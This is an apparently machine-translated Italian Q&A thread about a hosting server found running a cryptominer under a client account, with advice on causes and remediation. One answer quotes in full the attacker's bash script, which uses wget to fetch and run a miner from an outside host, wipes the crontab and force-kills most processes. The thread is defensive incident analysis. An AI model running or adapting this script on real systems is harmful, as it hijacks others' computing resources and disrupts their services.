Sono stato violato?


8

Gestisco un server dedicato, dove di recente ho notato un elevato utilizzo della CPU e ho verificato i processi. Sembra che qualcuno (account Mick) stava eseguendo il mining sul mio server. Com'è possibile? Il processo è sotto. Ho sospeso l'account. Cos'altro dovrei fare?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B

controlla cronjobs per ogni utente.
TPS,

5
Un po 'più di informazioni sul fatto che tu abbia creato quell'account e chi abbia accesso sarebbe utile. Se sei l'unico che dovrebbe avere accesso, allora probabilmente sei hackerato -> reinstallalo da zero.
Anthon,

È un server di web hosting che utilizza il pannello di controllo di Plesk. Esistono diversi client sul server con vari domini, ecc.
Booboo,

I client non hanno accesso root al server, solo ftp
Booboo,

2
Sembra un minatore di crittografia Scrypt.
TheDoctor

Risposte:


11

Se stai eseguendo un server web che consente lo scripting lato server (php, ruby, ecc.), È molto facile da fare.

Tutto ciò che l'utente deve fare è generare uno script in cui scaricare un file /tmp/sh64e quindi eseguirlo . Gli script Web di solito devono essere in grado di eseguire programmi esterni, quindi è difficile prevenire questo tipo di attività.

Se l' mickaccount è lo stesso account utilizzato per eseguire gli script Web dell'utente, direi che no, non sei stato violato. Solo un utente che abusa del proprio account.

Se vuoi prevenire questo comportamento, ci sono pochi modi per prevenirlo. Puoi impedire di chiamare programmi esterni. Oppure puoi fare qualcosa come uccidere programmi a esecuzione prolungata (ad esempio, qualsiasi cosa rimanga in esecuzione per più di 60 secondi).
Senza conoscere maggiori dettagli sulla configurazione, è difficile determinare la migliore linea di azione.


1
Come faccio a non chiamare programmi esterni
Booboo,

Le tue opzioni possono variare. Pubblicherei un'altra domanda. Fornisci dettagli su come è configurato il tuo server web e quale linguaggio di scripting stanno usando i tuoi clienti. Un semplice chroot potrebbe funzionare, ma necessita dei dettagli.
Patrick,

2

Ho avuto un problema simile. Hanno sfruttato una versione obsoleta dell'agente NRPE di Nagios per eseguire uno wgetscript che installava e configurava il minatore bitcoin di Sourceforge (il demone NRPE aveva dont_blame_nrpeabilitato). Non ho trovato nulla che indichi che il tentativo sulla mia macchina è stato persistente.

Questo è lo script utilizzato per l'installazione e la configurazione del minatore Bitcoin:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

Questo script è stato eseguito interamente come utente Nagios, quindi non ha avuto bisogno dell'accesso root.


2

Il tuo sistema è stato sicuramente compromesso o, nel peggiore dei casi, violato. Ci sono altre storie che descrivono l'installazione di un minatore simile.

Vorrei prendere la posizione che il tuo sistema è stato compromesso e ottenere qualcosa di critico per avviarlo, in modo che tu abbia il backup se non lo è già stato fatto.

Analisi

Se sei curioso di sapere come sono entrati, dovrai ottenere un elenco completo di quali servizi (web, mysql, ecc.) Hai installato e vedere se ci sono exploit attivi che consentirebbero a qualcuno di ottenere privilegi elevati.

Vorrei iniziare con tutte le abilitazioni Web che sono applicazioni basate sul Web. In genere è possibile che queste applicazioni possano essere sovraccaricate nel buffer e accedere alla modifica dello stack del server Web in modo da poter installare applicazioni aggiuntive.

È possibile che questi tipi di compromessi possano essere incidenti isolati, quindi semplicemente rimuovere il software offensivo e il malware può essere sufficiente per sradicarlo senza dover sopportare il tempo necessario per eseguire un ripristino / installazione completo del sistema.

Se questo sistema fosse stato creato utilizzando un'immagine basata su VPS, avrei lavorato con il provider, poiché l'applicazione di patch sembrerebbe essere nel loro interesse per tutti i loro clienti.

Oltre a compromettere lo stack web

Tutto sulla scatola deve essere esaminato ed è sostanzialmente inaffidabile, ma mi prenderei un po 'di tempo per vedere se non riesci a capire da dove provengono gli aggressori, se non del tutto. Probabilmente stanno effettuando l'accesso utilizzando account SSH che sono stati aggiunti al sistema dopo averlo compromesso.

Questo può essere un compito arduo che richiede molti giorni per fare analisi, specialmente se non puoi fidarti di nessuno degli strumenti sulla scatola per aiutare in questo sforzo. Vorrei incoraggiare chiunque a prendersi questo tempo per capire come il loro sistema è stato compromesso in modo da poter ridurre il rischio che si ripeta in futuro, almeno attraverso questo particolare vettore.

Se questo non è un tipo di problema di produzione, questa è in realtà una buona opportunità di apprendimento per ottenere informazioni preziose su come i sistemi possono essere compromessi e l'accesso può essere "sfruttato" dagli attaccanti.

Rivestimento d'argento?

Dal momento che il sistema viene utilizzato per scopi di mining, è probabile che abbiano utilizzato un set di strumenti di scripting automatico, dal momento che attaccare un numero sufficiente di sistemi per installare minatori di zombi sembra che ci vorrebbe molto tempo. Quando vengono utilizzati strumenti come questi, di solito sono scadenti nella loro costruzione, semplicemente cercando di fare il minimo indispensabile per guadagnare un punto d'appoggio e quindi consegnare il loro payload (il software di mining), quindi potresti essere fortunato e ottenere alcune informazioni aggiuntive su come sono riusciti a entrare.


4
Non necessariamente. Se il server Web consente lo scripting lato server e l' mickaccount è l'utente utilizzato per eseguire gli script, ciò può essere fatto facilmente senza compromettere il server. Abuso, si. Hack, no.
Patrick,

@Patrick - è vero, ho modificato la A per riflettere questo. Grazie.
slm
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.